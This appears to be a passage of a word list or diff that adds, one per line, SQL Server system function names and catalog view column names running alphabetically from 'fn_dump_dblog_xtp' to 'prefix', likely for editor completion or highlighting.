+fn_dump_dblog_xtp +fn_EnumCurrentPrincipals +fn_fIsColTracked +fn_full_dblog +fn_get_audit_file +fn_GetCurrentPrincipal +fn_getproviderstring +fn_GetRowsetIdFromRowDump +fn_getserverportfromproviderstring +fn_get_sql +fn_hadr_backup_is_preferred_replica +fn_hadr_distributed_ag_database_replica +fn_hadr_distributed_ag_replica +fn_hadr_is_primary_replica +fn_hadr_is_same_replica +fn_helpcollations +fn_helpdatatypemap +fn_IsBitSetInBitmask +fn_isrolemember +fn_listextendedproperty +fn_MapSchemaType +fn_MSdayasnumber +fn_MSgeneration_downloadonly +fn_MSget_dynamic_filter_login +fn_MSorbitmaps +fn_MSrepl_getsrvidfromdistdb +fn_MSrepl_map_resolver_clsid +fn_MStestbit +fn_MSvector_downloadonly +fn_MSxe_read_event_stream +fn_my_permissions +fn_numberOf1InBinaryAfterLoc +fn_numberOf1InVarBinary +fn_PageResCracker +fn_PhysLocCracker +fn_PhysLocFormatter +fn_repladjustcolumnmap +fn_repldecryptver4 +fn_replformatdatetime +fn_replgetcolidfrombitmap +fn_replgetparsedddlcmd +fn_repl_hash_binary +fn_replp2pversiontotranid +fn_replreplacesinglequote +fn_replreplacesinglequoteplusprotectstring +fn_repluniquename +fn_replvarbintoint +fn_RowDumpCracker +fn_servershareddrives +fn_sqlagent_job_history +fn_sqlagent_jobs +fn_sqlagent_jobsteps +fn_sqlagent_jobsteps_logs +fn_sqlagent_subsystems +fn_sqlvarbasetostr +fn_stmt_sql_handle_from_sql_stmt +fn_trace_geteventinfo +fn_trace_getfilterinfo +fn_trace_getinfo +fn_trace_gettable +fn_translate_permissions +fn_validate_plan_guide +fn_varbintohexstr +fn_varbintohexsubstring +fn_virtualfilestats +fn_virtualservernodes +fn_xcs_get_file_rowcount +fn_xe_file_target_read_file +fn_yukonsecuritymodelrequired +forced_grant_count +forced_yield_count +force_failure_count +foreign_committed_kb +foreign_key_columns +foreign_keys +forkeys +forkguid +forkid +forklsn +fork_point_lsn +forkvc +format_type +forwarded_fetch_count +forwarded_record_count +fp2p_pub_exists +fprocessingtext +fPubAllowUpdate +fragid +fragment_bitmap +fragment_count +fragment_id +fragment_object_id +fragment_size +fragobjid +frame_address +frame_index +free_bytes +free_bytes_offset +free_entries_count +free_ref_slot_occupied +free_space_in_bytes +free_worker_count +frequency_check_ticks +frequent +friendly_name +frombrkrinst +from_broker_instance +from_object_id +from_service_name +fromsvc +fsinfo_address +ftcatid +full_block_only +full_filesystem_path +full_incremental_population_count +fulltext_catalog_id +fulltext_catalogs +fulltext_document_types +fulltext_index_catalog_usages +fulltext_index_columns +fulltext_indexes +fulltext_index_fragments +fulltext_index_page_count +fulltext_languages +fulltext_semantic_languages +fulltext_semantic_language_statistics_database +fulltext_stoplists +fulltext_stopwords +fulltext_system_stopwords +function_id +function_order_columns +future_allocations_kb +future_interest +gam_page_id +gam_status +gam_status_desc +generated_always_type +generated_always_type_desc +generate_time +generation +generation_id +geography +GeographyCollectionAggregate +GeographyConvexHullAggregate +GeographyEnvelopeAggregate +GeographyUnionAggregate +geometry +GeometryCollectionAggregate +GeometryConvexHullAggregate +GeometryEnvelopeAggregate +GeometryUnionAggregate +ghost_rec_count +ghost_record_count +ghost_version_inrow +ghost_version_offrow +gid +gq_address +granted_memory_kb +granted_query_memory +grantee +GRANTEE +grantee_count +grantee_principal_id +grantor +GRANTOR +grantor_principal_id +grant_time +graph_type +graph_type_desc +group_database_id +group_handle +group_id +groupid +GroupID +group_max_requests +group_name +groupname +groupuid +growth +grpid +guid +GUID +guid_identifier +handle +Handle +handle_context_address +handle_count +handle_id +hardened_recovery_lsn +hardened_root_file_guid +hardened_root_file_watermark +hardened_truncation_lsn +hardware_generation +hasaccess +has_checksum +has_crawl_completed +hasdbaccess +has_default +has_default_value +has_filter +has_ghost_records +hash +hash_bucket_count +hash_column_ordinal +hashed_trans +hash_hits +hash_hit_total_search_length +hash_indexes +hash_key +hash_misses +hash_miss_total_search_length +has_integrity_stream +has_long_running_target +has_nulls +has_opaque_metadata +has_persisted_sample +has_replication_filter +has_restricted_text +has_snapshot +has_unchecked_assembly_data +has_version_records +has_vertipaq_optimization +hbcolid +hdrpartlen +hdrseclen +header_limit +health_check_timeout +HealthCheckTimeout +health_error_message +health_status +heart_beat +hidden_column +hierarchyid +high +high_weight_cache_buffer_count +hints +history +history_retention_period +history_retention_period_unit +history_retention_period_unit_desc +history_table_id +hits_count +hobt_id +hops_remaining +host_address +host_architecture +host_distribution +host_name +hostname +HostName +host_platform +hostprocess +host_process_id +host_release +host_service_pack_level +host_sku +host_task_address +host_to_device_bytes +hr_batch +http_endpoints +hyperthread_ratio +id +ideal_memory_kb +ideal_workers_limit +identity +identity_columns +idle +idle_attempts_count +idle_scheduler_count +idle_sessions +idle_switches_count +idle_time_cs +idle_worker_count +idmajor +idminor +idSch +idtval +ignore_dup_key +image +imageval +impid +importance +iname +inbound_session_key_identifier +incarnation_id +included_columns +incomplete +incomplete_cache_buffer +increment +INCREMENT +incremental_timestamp +increment_value +incurs_seek_penalty +indepclass +indepdb +indepid +indepname +indepschema +indepserver +indepsubid +index_column_id +index_columns +indexdel +index_depth +indexes +index_group_handle +index_handle +index_id +indexid +IndexID +index_level +index_lock_promotion_attempt_count +index_lock_promotion_count +index_resumable_operations +index_scan_count +index_type_desc +indid +inequality_columns +info +information_type +information_type_id +initial_compile_start_time +INITIALLY_DEFERRED +initiator +inline_type +in_progress +input_groupby_row_count +input_name +input_options +in_row_data_page_count +inrow_diff_version_record_count +InRowLength +in_row_reserved_page_count +in_row_used_page_count +inrow_version_record_count +insert_over_ghost_version_inrow +insert_over_ghost_version_offrow +inseskey +inseskeyid +install_failures +instance_id +instance_name +instance_pipe_name +instant_file_initialization_enabled +instrig +instruction_address +int +IntegerData +IntegerData2 +interface +internal_benefit +internal_bit_position +internal_error_code +internal_freed_kb +internal_null_bit +internal_object_reserved_page_count +internal_objects_alloc_page_count +internal_objects_dealloc_page_count +internal_object_type +internal_object_type_desc +internal_offset +internal_pages +internal_partitions +internal_state_desc +internalstatus +internal_storage_slot +internal_tables +internal_type +internal_type_desc +interrupt_cnt +interval_length_minutes +INTERVAL_PRECISION +INTERVAL_TYPE +int_identifier +intprop +intPublicationOptions +in_use_count +io_busy +io_bytes_read +io_bytes_written +io_completion_request_address +io_completion_routine_address +io_completion_worker_address +io_handle +io_handle_path +io_issue_ahead_total_ms +io_issue_delay_non_throttled_total_ms +io_issue_delay_total_ms +io_issue_violations_total +io_offset +io_pending +io_pending_ms_ticks +io_read_bytes +io_read_operations +ios_in_progess +io_stall +IoStallMS +io_stall_queued_read_ms +io_stall_queued_write_ms +io_stall_read_ms +IoStallReadMS +io_stall_write_ms +IoStallWriteMS +io_time_ms +io_type +io_user_data_address +iowait_time_cs +io_wait_time_in_ms +io_write_bytes +io_write_operations +ip_address +ip_configuration_string_from_cluster +ipipename +ip_subnet_mask +irp_id +irq_time_cs +is_abstract +is_accelerated_database_recovery_on +is_accent_sensitivity_on +is_accept +is_activation_enabled +is_active +is_active_for_begin_dialog +is_admin_endpoint +is_advanced +isaliased +is_all_columns_found +is_allocated +is_ambiguous +is_anonymous_enabled +is_anonymous_on +is_ansi_null_default_on +is_ansi_nulls_on +is_ansi_padded +is_ansi_padding_on +is_ansi_warnings_on +is_anti_matter +isapprole +is_arithabort_on +is_assembly_type +is_async_population +is_auto +is_auto_cleanup_on +is_auto_close_on +is_auto_create_stats_incremental_on +is_auto_create_stats_on +is_auto_executed +is_autogrow_all_files +is_auto_shrink_on +is_auto_update_stats_async_on +is_auto_update_stats_on +is_available +is_basic_auth_enabled +is_binary_ordered +is_bound +is_boundedupdate_singleton +is_broker_enabled +is_cached +is_cache_key +is_caller_dependent +is_case_sensitive +is_cdc_enabled +is_cleanly_shutdown +is_clear_port_enabled +is_close_on_commit +is_clouddb_internal_query +is_clustered +is_clustered_index_scan +is_cluster_shared_volume +is_collation_compatible +is_column_permission +is_column_set +is_columnstore +is_commit_participant +is_compressed +is_compression_enabled +is_computed +iscomputed +is_computed_column +is_concat_null_yields_null_on +is_configured +is_conformant +is_contained +is_conversation_error +is_currently_dst +is_current_owner +is_cursor_close_on_commit_on +is_cursor_ref +is_cycling +is_damaged +is_data_access_enabled +is_database_joined +is_data_deletion_filter_column +is_data_retention_enabled +is_data_row_format +is_date_correlation_on +is_date_correlation_view +is_db_chaining_on +is_default +is_default_fixed +is_default_uri +IS_DEFERRABLE +is_delayed_durability +is_descending +is_descending_key +IS_DETERMINISTIC +is_dhcp +is_digest_auth_enabled +is_directory +is_dirty +is_disabled +is_distributed +is_distributed_network_name +is_distributor +is_dropped +is_dts_replicated +is_dynamic +is_dynamic_port +is_edge +is_emergent_mem +is_enabled +is_encrypted +is_encryption_enabled +is_end_of_dialog +is_enforced +is_enlisted +is_enqueue_enabled +is_event_logged +is_executable_action +is_execution_replicated +is_exhausted +is_expiration_checked +is_extension_blocked +is_external +is_failover_ready +is_fatal_exception +is_federation_member +is_fiber +is_filestream +is_filetable +is_filterable +is_final_extension +is_final_list_member +is_final_restriction +is_final_union_member +is_first +is_fixed +is_fixed_length +is_fixed_length_clr_type +is_fixed_role +is_forced_plan +is_free +is_fulltext_enabled +IS_GRANTABLE +is_group +is_hadron_consumed +is_hidden +is_honor_broker_priority_on +is_hypothetical +is_iam_page +is_identity +is_identity_column +is_idle +is_ignored_in_optimization +is_impersonating +IS_IMPLICITLY_INVOCABLE +is_importing +is_in_bpool_extension +is_in_cc_exception +is_included_column +is_incomplete +is_incremental +is_initiator +is_inlineable +is_in_polling_io_completion_routine +is_input +IsInrow +is_insert_all +is_inside_catch +is_installed +is_in_standby +is_instead_of_trigger +is_integrated_auth_enabled +is_internal_query +is_ipv4 +is_kerberos_auth_enabled +is_key +is_known_cdc_tran +is_last +is_linked +is_local +is_local_cursor_default +is_logged_for_replication +islogin +is_log_read_ahead +is_masked +is_master_key_encrypted_by_server +is_media_read_only +is_memory_optimized +is_memory_optimized_elevate_to_snapshot_on +is_memory_optimized_enabled +is_merge_published +is_message_forwarding_enabled +is_migration_paused +is_mixed_extent +is_mixed_page_allocation +is_mixed_page_allocation_on +is_modified +is_ms_shipped +is_name_reserved +is_natively_compiled +is_nested_triggers_on +is_next_candidate +is_nillable +is_node +is_non_sql_subscribed +is_nonsql_subscriber +is_not_for_replication +is_not_trusted +is_not_versioned +isntgroup +is_ntlm_auth_enabled +isntname +isntuser +is_nullable +isnullable +IS_NULLABLE +IS_NULL_CALL +is_numeric_roundabort_on +iso_level +is_online +is_online_index_plan +is_open +is_operator_audit +is_orphaned +isoutparam +is_output +is_padded +is_page_compressed +is_parallel_plan +is_parameterization_forced +is_part_of_encrypted_module +is_part_of_unique_key +is_passive +is_paused +is_pending_secondary_suspend +is_percent_growth +is_persisted +is_persistent_log_buffer +is_pit +is_poison_message_handling_enabled +is_policy_checked +is_preemptive +is_prepared +is_primary_key +is_primary_replica +is_public +is_published +is_publisher +is_pushed +is_qualified +is_query_store_on +is_quoted_identifier_on +is_rda_server +is_read_committed_snapshot_on +is_read_only +is_readonly +is_receive_enabled +is_receive_flow_controlled +is_recompiled +is_reconciled +is_reconfiguration_pending +IsRecordPrefixCompressed +is_recursive_triggers_on +isremote +is_remote_data_archive_enabled +is_remote_login_enabled +is_remote_proc_transaction_promotion_enabled +is_remote_task +is_repeatable +is_repeated_base +is_replay_consumed +is_repl_consumed +is_replicated +is_replication_specific +is_repl_serializable_only +is_restriction_blocked +IS_RESULT +is_result_set_caching_on +is_resumable +is_retention_enabled +is_retry +is_retry_batch +is_revertable_action +is_rollover +is_rowguidcol +is_rowset +is_rpc_out_enabled +is_schema_bound +is_schema_bound_reference +is_schema_published +is_select_all +is_selected +is_send_flow_controlled +is_sent_by_initiator +is_sent_by_target +is_sereplicated +is_session_context_enabled +is_session_enabled +is_shutdown +is_sick +is_signature_valid +is_signed +is_singleton +is_small +is_snapshot +is_source +is_sparse +IsSparse +is_sparse_column_set +is_speculative +is_sql_language_enabled +issqlrole +issqluser +is_ssl_port_enabled +is_stale_page_detection_on +is_state_enabled +is_subscribed +is_subscriber +is_substitution_blocked +issuer +issuer_name +is_supplemental_logging_enabled +is_suspended +is_suspended_sequence_number +IsSymbol +is_synchronized +is_sync_tran_subscribed +is_sync_with_backup +is_system +IsSystem +is_system_named +is_table_type +is_tempdb_spill_to_remote_store +is_temporal_history_retention_enabled +is_temporary +is_track_columns_updated_on +is_tracked_by_cdc +is_tran_consumed +is_transactional +is_transform_noise_words_on +is_trigger_event +is_trivial_plan +is_trustworthy_on +is_txn_owner +is_unique +is_unique_constraint +is_uniqueifier +IS_UPDATABLE +is_updateable +is_updated +is_user_defined +IS_USER_DEFINED_CAST +is_user_process +is_user_transaction +is_value_default +is_visible +is_waiting_on_loader_lock +is_xml_charset_enforced +is_xml_document +is_xquery_max_length_inferred +is_xquery_type_inferred +itemcnt +item_id +item_name +items_processed +job_id +job_tracker_location +join_state +join_state_desc +kernel_nonpaged_pool_kb +kernel_paged_pool_kb +kernel_time +key_algorithm +keycnt +KEY_COLUMN_USAGE +key_constraints +key_encryptions +key_guid +key_id +key_index_id +key_length +key_merge_count +key_merge_retry_count +key_name +keyno +key_ordinal +key_path +keyphrase_index_page_count +keys +key_split_count +key_split_retry_count +key_store_provider_name +key_thumbprint +key_type +keyword +kind +kind_desc +kpid +label +label_id +lang +langid +language +language_id +large_buffer_size +large_page_allocations_kb +largest_event_dropped_size +large_value_types_out_of_row +last_access +last_access_time +last_activated_time +last_active_time +last_activity_time +LAST_ALTERED +last_batch +last_bind_cpu_time +last_bind_duration +last_closed_checkpoint_ts +last_clr_time +last_columnstore_segment_reads +last_columnstore_segment_skips +last_commit_cdc_lsn +last_commit_cdc_time +last_commit_lsn +last_commit_time +last_compile_batch_offset_end +last_compile_batch_offset_start +last_compile_batch_sql_handle +last_compile_duration +last_compile_memory_kb +last_compile_start_time +last_connect_error_description +last_connect_error_number +last_connect_error_timestamp +last_cpu_time +last_dop +last_duration +last_elapsed_time +last_empty_rowset_time +last_end_lsn +last_error +last_event_time +last_execution_time +last_force_failure_reason +last_force_failure_reason_desc +last_grant_kb +last_hardened_lsn +last_hardened_time +last_id +last_ideal_grant_kb +last_log_backup_lsn +last_log_block_id +last_log_bytes_used +last_logical_io_reads +last_logical_io_writes +last_logical_reads +last_logical_writes +last_lsn +last_lsn_processed +last_max_dop_used +last_modified +last_modified_date +last_notification +last_num_page_server_reads +last_num_physical_io_reads +last_num_physical_reads +lastoorder +lastoorderfr +last_operation +last_optimize_cpu_time +last_optimize_duration +last_out_of_order_frag +last_out_of_order_sequence +last_page_server_io_reads +last_page_server_reads +last_parameterization_failure_reason +last_parse_cpu_time +last_parse_duration +last_pause_time +last_physical_io_reads +last_physical_reads +lastpkeybackup +last_query_hint_failure_reason +last_query_hint_failure_reason_desc +last_query_max_used_memory +last_query_wait_time_ms +last_read +lastreads +last_received_lsn +last_received_time +last_recovery_fork_guid +last_redone_lsn +last_redone_time +last_refresh +last_request_end_time +last_request_start_time +last_reserved_threads +last_round_start_time +last_rowcount +last_rows +last_row_time +lastrun +last_run_date +last_run_duration +last_run_outcome +last_run_retries +last_run_time +last_segment_lsn +last_send_tran_id +last_sent_lsn +last_sent_time +last_service_ticks +last_spills +last_sql_handle +last_startup_time +last_statement_end_offset +last_statement_sql_handle +last_statement_start_offset +last_successful_logon +last_system_lookup +last_system_scan +last_system_seek +last_system_update +last_tempdb_space_used +last_tick_time +lasttime +last_timer_activity +last_transaction_sequence_num +last_unsuccessful_logon +last_updated +last_updated_checkpoint_id +lastupdatelsn +last_update_time +last_used_grant_kb +last_used_threads +last_used_value +last_user_lookup +last_user_scan +last_user_seek +last_user_update +last_valid_restore_time +last_value +last_wait_type +lastwaittype +last_worker_time +last_write +lastwrites +last_write_time +latch_class +latency +lazy_schema_validation +lazyschemavalidation +lcid +leaf_allocation_count +leaf_bit_position +leaf_delete_count +leaf_ghost_count +leaf_insert_count +leaf_null_bit +leaf_offset +leaf_page_merge_count +leaf_pages +leaf_update_count +ledger_type +ledger_type_desc +ledger_view_id +ledger_view_type +ledger_view_type_desc +left_boundary +length +level +level_1_grid +level_1_grid_desc +level_2_grid +level_2_grid_desc +level_3_grid +level_3_grid_desc +level_4_grid +level_4_grid_desc +lgfgid +lgnid +lifetime +line_num +LineNumber +linked_logins +LinkedServerName +listener_id +lname +loadavg_1min +load_factor +load_time +lob_data_space_id +lobds +lob_fetch_in_bytes +lob_fetch_in_pages +lob_logical_read_count +lob_orphan_create_count +lob_orphan_insert_count +lob_page_server_read_ahead_count +lob_page_server_read_count +lob_physical_read_count +lob_read_ahead_count +lob_reserved_page_count +lob_used_page_count +local_database_id +local_database_name +locale +local_net_address +local_node +local_physical_seeding_id +local_principal_id +local_service_id +local_tcp_port +location +location_type +locked_page_allocations_kb +lock_escalation +lock_escalation_desc +lockflags +lock_on_bulk_load +lock_owner_address +lock_requestor_id +lockres +lock_timeout +lock_type +log_backup_lsn +log_backup_time +LogBlockGeneration +log_block_id +log_bytes_required +log_bytes_since_last_close +log_bytes_written +log_checkpoint_lsn +log_consumer_count +log_consumer_deleting +log_consumer_id_seed +log_consumer_ref_counter +log_consumption_deactivated +log_consumption_rate +log_end_lsn +log_filegroup_id +log_file_name +log_file_path +logical_database_id +logical_db_name +logical_device_name +logical_name +logical_operator +logical_path +logical_read_count +logical_reads +logical_row_count +logical_volume_name +log_id +loginame +login_id +login_name +loginname +LoginName +login_sid +loginsid +LoginSid +login_state +login_state_desc +login_time +login_token +login_type +log_IO_count +log_min_lsn +log_name +logpoolmgr_count +logpoolmgr_deleting +logpoolmgr_ref_counter +log_record_count +log_recovery_lsn +log_recovery_size_mb +log_reuse_wait +log_reuse_wait_desc +log_send_queue_size +log_send_rate +logshippingid +log_since_last_checkpoint_mb +log_since_last_log_backup_mb +log_source +log_space_in_bytes_since_last_backup +log_state +log_text +log_truncation_holdup_reason +lookaside_id +lost_events_count +low +lower_bound_tsn +low_mem_signal_threshold_mb +low_water_mark_for_ghosts +low_weight_cache_buffer_count +lsid +lsn +lstart +magnitude +major_id +major_num +major_version +manager_id +manager_role +manual_population_count +manufacturer +map_key +mapping_id +map_progress +map_value +masked_columns +masking_function +master_files +master_key_passwords +MATCH_OPTION +max_buffer_limit +max_chain_length +max_cleanup_version +max_clr_time +max_cmds_in_tran +max_column_id_used +max_columnstore_segment_reads +max_columnstore_segment_skips +max_compile_memory_kb +maxconn +max_count +max_cpu_percent +max_cpu_time +max_csn +max_data_id +max_deep_data +max_dispatch_latency +max_dop +max_duration +MAX_DYNAMIC_RESULT_SETS +max_elapsed_time +max_event_size +maxexectime +max_files +max_file_size +max_free_entries_count +max_grant_kb +max_ideal_grant_kb +maximum +MAXIMUM_CARDINALITY +maximum_queue_depth +maximum_value +MAXIMUM_VALUE +maxinrow +maxinrowlen +max_inrow_length +maxint +max_internal_length +max_iops_per_volume +maxirow +maxleaf +max_leaf_length +maxlen +max_length +max_log_bytes_used +max_logical_io_reads +max_logical_io_writes +max_logical_reads +max_logical_writes +max_memory +max_memory_kb +max_memory_percent +maxnullbit +max_null_bit_used +max_num_page_server_reads +max_num_physical_io_reads +max_num_physical_reads +maxoccur +max_occurences +max_outstanding_io_per_volume +max_overlap +max_page_server_io_reads +max_page_server_reads +max_pages_in_bytes +max_physical_io_reads +max_physical_reads +max_plans_per_query +max_processes +max_quantum +max_query_max_used_memory +max_query_wait_time_ms +max_readers +max_record_size_in_bytes +max_request_cpu_time_ms +max_request_grant_memory_kb +max_reserved_threads +max_rollover_files +max_rowcount +max_rows +max_size +maxsize +max_sizeclass +max_spills +max_storage_size_mb +max_target_memory_kb +max_tempdb_space_used +max_thread +max_thread_proxies +max_time +max_used_grant_kb +max_used_memory_kb +max_used_threads +max_used_worker_count +max_version_chain_traversed +max_wait_time +max_wait_time_ms +max_worker_count +max_workers_count +max_worker_threads +max_worker_time +mdversion +media_family_id +media_sequence_number +media_set_guid +media_set_name +member_name +member_principal_id +member_state +member_state_desc +member_type +member_type_desc +memberuid +memgrant_waiter_count +memory_address +memory_allocated_for_indexes_kb +memory_allocated_for_table_kb +memory_allocation_address +memory_broker_type +memory_clerk_address +memory_consumer_address +memory_consumer_desc +memory_consumer_id +memory_consumer_type +memory_consumer_type_desc +memory_limit_mb +memory_node_id +memory_object_address +memory_optimized_tables_internal_attributes +memory_partition_mode +memory_partition_mode_desc +memory_pool_address +memory_usage +memory_used_by_indexes_kb +memory_used_by_table_kb +memory_used_in_bytes +memory_utilization_percentage +memregion_memory_address +mem_status +mem_status_stamp +memusage +merge_action_type +merge_outstanding_merges +merge_stats_bytes_merged +merge_stats_kernel_time +merge_stats_log_blocks_merged +merge_stats_number_of_merges +merge_stats_user_time +message +message_body +message_enqueue_time +message_forwarding_size +message_fragment_number +message_id +messages +message_sequence_number +message_type_id +message_type_name +message_type_xml_schema_collection_usages +metadata_offset +metadata_size +method_alias +MethodName +migrated_rows +migration_direction +migration_direction_desc +min_active_bsn +min_buffer_limit +min_clr_time +min_columnstore_segment_reads +min_columnstore_segment_skips +min_cpu_percent +min_cpu_time +min_data_id +min_deep_data +min_dop +min_duration +min_elapsed_time +min_grant_kb +min_ideal_grant_kb +minimum +minimum_value +MINIMUM_VALUE +minint +min_internal_length +min_iops_per_volume +minleaf +min_leaf_length +min_len +minlen +min_length_in_bytes +min_log_bytes_used +min_logical_io_reads +min_logical_io_writes +min_logical_reads +min_logical_writes +min_memory_percent +min_num_page_server_reads +min_num_physical_io_reads +min_num_physical_reads +minoccur +min_occurences +minor_id +minor_num +minor_version +min_page_server_io_reads +min_page_server_reads +min_percentage_resource +min_physical_io_reads +min_physical_reads +min_query_max_used_memory +min_query_wait_time_ms +min_record_size_in_bytes +min_reserved_threads +min_rowcount +min_rows +min_sizeclass +min_spills +min_tempdb_space_used +min_time +min_transaction_timestamp +min_used_grant_kb +min_used_threads +min_valid_version +min_worker_time +min_xact_begin_age +miraddr +mirror_address +mirroring_connection_timeout +mirroring_end_of_log_lsn +mirroring_failover_lsn +mirroring_guid +mirroring_partner_instance +mirroring_partner_name +mirroring_redo_queue +mirroring_redo_queue_type +mirroring_replication_lsn +mirroring_role +mirroring_role_desc +mirroring_role_sequence +mirroring_safety_level +mirroring_safety_level_desc +mirroring_safety_sequence +mirroring_state +mirroring_state_desc +mirroring_witness_name +mirroring_witness_state +mirroring_witness_state_desc +mirror_server_name +misses_count +mixed_extent_page_count +ml_map_page_id +ml_status +ml_status_desc +modate +mode +Mode +model +modification_counter +modification_time +modified +modified_count +modified_extent_page_count +modify_date +modify_time +module +module_address +module_assembly_usages +MODULE_CATALOG +module_guid +MODULE_NAME +MODULE_SCHEMA +money +months +most_recent_session_id +most_recent_sql_handle +mount_expiration_time +mount_request_time +mount_request_type +mount_request_type_desc +movement_key +movement_type +movement_type_desc +msgbody +msgbodylen +msgenc +msgid +msglangid +msgnum +msgref +msgseqnum +msgtype +msqlxact_address +MSreplication_options +ms_ticks +must_be_qualified +name +nameid +namespace +namespace_document_id +nchar +nest_aborted +nested_id +nest_level +NestLevel +net_address +net_library +net_packet_size +net_transport +network_subnet_ip +network_subnet_ipv4_mask +network_subnet_prefix_length +NewAllocUnitId +new_log_interesting +new_log_wait_time_in_ms +newrow_data +newrow_datasize +newrow_identity +nextdocid +next_fragment +next_page_file_id +next_page_page_id +next_read_ahead_lsn +next_sibling +nice_time_cs +nid +nmscope +nmspace +node_affinity +node_id +node_name +NodeName +node_state_desc +nonleaf_allocation_count +nonleaf_delete_count +nonleaf_insert_count +nonleaf_page_merge_count +nonleaf_update_count +non_sos_mem_gap_mb +nonsqlsub +non_transacted_access +non_transacted_access_desc +no_recompute +notify_level_eventlog +nsclass +nsid +nt_domain +NTDomainName +ntext +nt_user_name +nt_username +NTUserName +nullbit +null_on_null_input +null_value +null_values +numa_node +numa_node_count +number +numbered_procedure_parameters +numbered_procedures +number_of_attempts +number_of_quorum_votes +NumberReads +NumberWrites +num_capture_threads +numcol +num_databases +numeric +NUMERIC_PRECISION +NUMERIC_PRECISION_RADIX +NUMERIC_SCALE +num_hadr_threads +num_of_bytes_read +num_of_bytes_written +num_of_reads +num_of_writes +num_openxml_calls +num_parallel_redo_threads +numpart +num_pk_cols +num_reads +num_redo_threads +num_writes +nvarchar +object_address +object_id +objectid +ObjectID +object_id1 +object_id2 +ObjectID2 +object_id3 +object_id4 +object_load_time +object_name +ObjectName +object_package_guid +object_ref_count +objects +object_type +ObjectType +object_type_desc +objid +objname +objtype +occurrence +occurrence_count +occurrences +offline_age +offrow_long_term_version_record_count +offrow_regular_version_record_count +offrow_version_cleaner_end_time +offrow_version_cleaner_start_time +offset +Offset +oldest_aborted_transaction_id +oldest_active_lsn +oldest_active_transaction_id +oldrow_begin_timestamp +oldrow_identity +oldrow_key_data +oldrow_key_datasize +on_disk_size +on_fail_action +on_fail_step_id +on_failure +on_failure_desc +online_index_min_transaction_timestamp +online_index_version_store_size_kb +online_scheduler_count +online_scheduler_mask +on_success_action +on_success_step_id +opened_date +opened_file_name +openkeys +open_resultset_count +open_status +openTape +open_time +open_tran +open_transaction_count +operation +Operation +operational_state +operational_state_desc +operation_desc +operation_id +operation_name +operation_type +operator_id_emailed +operator_id_paged +op_history +optimize_for_sequential_key +optimizer_hint +optname +ord +order_by_is_descending +order_by_list_length +order_column_id +order_direction +order_position +ordinal +ordinal_in_order_by_list +ordinal_position +ORDINAL_POSITION +ordkey +ordlock +orig_db +orig_db_len_in_bytes +OrigFillFactor +original_cost +original_document_size_bytes +original_login_name +original_namespace_document_size_bytes +original_security_id +originator +originator_len_in_bytes +ORMask +os_error_mode +os_language_version +os_priority_class +OS_process_creation_date +OS_process_id +os_quantum +os_run_priority +os_thread_id +outbound_session_key_identifier +outcome +out_of_memory_count +output_file_name +output_options +outseskey +outseskeyid +outstanding_batch_count +outstanding_checkpoint_count +outstanding_read +outstanding_retired_nodes +overall_limit_kb +overall_quality +ownerid +OwnerID +OwnerName +owner_sid +ownertype +owning_principal_id +owning_principal_name +owning_principal_sid +owning_principal_sid_binary +package +package_guid +package_name +pack_errors +pack_received +pack_sent +page_allocator_address +page_class +page_compression_attempt_count +page_compression_success_count +page_consolidation_count +page_consolidation_retry_count +page_count +page_fault_count +page_file_bytes +page_file_bytes_peak +page_flag_bits +page_flag_bits_desc +page_free_space_percent +page_header_version +page_id +page_io_latch_wait_count +page_io_latch_wait_in_ms +page_latch_wait_count +page_latch_wait_in_ms +page_level +page_lock_count +page_lock_wait_count +page_lock_wait_in_ms +page_lsn +page_merge_count +page_merge_retry_count +page_resource +page_server_read_ahead_count +page_server_read_count +page_server_reads +pages_in_bytes +pages_in_use_kb +page_size_in_bytes +pages_kb +page_split_count +page_split_retry_count +page_status +pagesused +page_type +page_type_desc +page_type_flag_bits +page_type_flag_bits_desc +page_update_count +page_update_retry_count +page_verify_option +page_verify_option_desc +parallel_assist_count +parallel_worker_count +parameter_id +parameterization_failure_count +PARAMETER_MODE +PARAMETER_NAME +parameters +PARAMETERS +PARAMETER_STYLE +parameter_type_usages +parameter_xml_schema_collection_usages +param_id +param_int_value +paramorhinttext +param_str_value +param_type +parent_address +parent_class +parent_class_desc +parent_column_id +parent_connection_id +parent_covering_permission_name +parent_directory +parent_directory_exists +parent_id +parent_memory_address +parent_memory_broker_type +parent_minor_id +ParentName +parent_node_id +parent_obj +parent_object_id +parent_plan_handle +parent_requestor_id +parent_task_address +parent_type +parser_version +partid +partition_column_guid +partition_column_id +partition_column_ordinal +partition_count +partition_functions +partition_id +PartitionId +partition_number +partition_ordinal +partition_parameters +partition_range_values +partitions +partition_scheme_id +partition_schemes +partition_type +partition_type_desc +part_key_name +part_key_val +partner_sync_state +partner_sync_state_desc +password +password_hash +patched +path +path_id +path_name +path_type +path_type_desc +pcdata +pcitee +pclass +pcreserved +pcused +pdw_node_id +peak_job_memory_used_mb +peak_memory_kb +peak_process_memory_used_mb +peer_arbitration_id +peer_certificate_id +pending_buffers +pending_disk_io_count +pending_io_byte_average +pending_io_byte_count +pending_io_count +percent_complete +percent_used +perf +performance_counters_address +performed_seeding +periodic_freed_kb +periods +period_type +period_type_desc +permanent_task_affinity_mask +permission_bitmask +permission_name +Permissions +permission_set +permission_set_desc +persisted_age +persisted_sample_percent +persistence_status +persistent_only +persistent_version_store +persistent_version_store_long_term +persistent_version_store_size_kb +pfs_alloc_percent +pfs_is_allocated +pfs_page_id +pfs_status +pfs_status_desc +pgfirst +pgfirstiam +pgmodctr +pgroot +phantom_expired_removed_rows_encountered +phantom_expired_rows_removed +phantom_expiring_rows_encountered +phantom_rows_expired +phantom_rows_expired_removed +phantom_rows_expiring +phantom_rows_touched +phantom_scans_retries +phantom_scans_started +phase_number +phfgid +phrase_id +phyname +physical_database_name +physical_device_name +physical_io +physical_memory_in_use_kb +physical_memory_kb +physical_name +physical_operator_name +physical_path +physical_read_count +pid +pit_db_name +pit_key +pkey +placedid +placed_xml_component_id +placement_id +placingid +plan_flags +plan_forcing_type +plan_forcing_type_desc +plan_generation_num +plan_group_id +plan_guide_id +plan_guides +plan_handle +PlanHandle +plan_id +plan_node_id +plan_persist_context_settings +plan_persist_plan +plan_persist_query +plan_persist_query_hints +plan_persist_query_template_parameterization +plan_persist_query_text +plan_persist_runtime_stats +plan_persist_runtime_stats_interval +plan_persist_wait_stats +platform +platform_desc +pname +polaris_executed_requests_history +polaris_executed_requests_text +polaris_file_statistics +pool_id +pool_paged_bytes +pool_version +population_type +population_type_description +port +port1 +port2 +port_no +position +prec +precision +predicate +predicate_definition +predicate_type +predicate_type_desc +predicate_xml +predicted_allocations_kb +preemptive_switches_count +prefix 